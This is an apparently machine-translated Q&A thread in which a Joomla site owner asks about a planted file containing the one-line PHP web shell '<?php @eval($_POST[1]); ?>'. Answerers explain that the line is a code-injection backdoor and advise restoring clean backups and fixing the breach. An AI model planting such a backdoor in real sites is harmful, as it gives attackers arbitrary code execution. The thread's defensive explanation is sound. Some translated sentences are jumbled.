2016-04-02 23 views
1

私のjoomlaのサイトはハッキングされていて、私はreads.phpファイルのライブラリフォルダにファイルを持っています。このファイルを開くと、その行だけが書き込まれます

<?php @eval($_POST[1]); ?> 

データハッカーがこの行を取得するかどうかわかりません。 お願いします。

+0

要求に$ _POSTパラメータを使用して実行するコードを実行します。 –

+4

関数がマニュアルを参照しているかどうか不明な場合。 http://php.net/manual/en/function.eval.php。 'eval()言語構造は、任意のPHPコードを実行できるので非常に危険です。 – chris85

答えて

0

私はそれをストレートフォームphp docsと取ったeval()言語構造は、任意のPHPコードを実行できるので非常に危険です。したがってその使用はお勧めしません。このコンストラクトを使用する以外の選択肢がないことを慎重に確認した場合は、あらかじめ適切に検証することなく、ユーザーが提供したデータを渡すことに注意してください。

This is a $string with my $name in it. 
This is a cup with my coffee in it. 

がここでそれについてのコード行でhttp://php.net/manual/en/function.eval.php

2

を続きを読む例

<?php 
$string = 'cup'; 
$name = 'coffee'; 
$str = 'This is a $string with my $name in it.'; 
echo $str. "\n"; 
eval("\$str = \"$str\";"); 
echo $str. "\n"; 
?> 

ため が結果を与え、ハッカーは、彼が望んでいる任意のコードを実行することができるようになります。したがって、このコードでは、必要なデータを読み込み、更新、または削除する権限を持ちます。

コードは$ _POST引数として渡されるため、実行するコードはまだわかりません。 $ _POST [1]引数には実行可能コードの文字列が含まれます。次に、この引数を指定してeval()を呼び出してそのコードを実行します。

ハッカーがページを呼び出してPOST引数としてコードを渡すと、彼はcode injectionという攻撃を実行します。

今、あなたはあなたが把握する必要があり、ことを知っていること:

  1. 可能であればどのような被害はすでに、それを元に戻すために行われていますか?
  2. ハッカーが「eval」コードをコードベースに追加する際に、どのようなセキュリティ違反がありましたか?

バックアップを復元する場合は、バックアップに「eval」コードがないことを確認してください。ハッカーがハッキングを復元するためにおそらく同じセキュリティ違反を再利用するだけなので、問題#2を解決してください。バックアップがきれいであっても、セキュリティ違反は依然として存在します。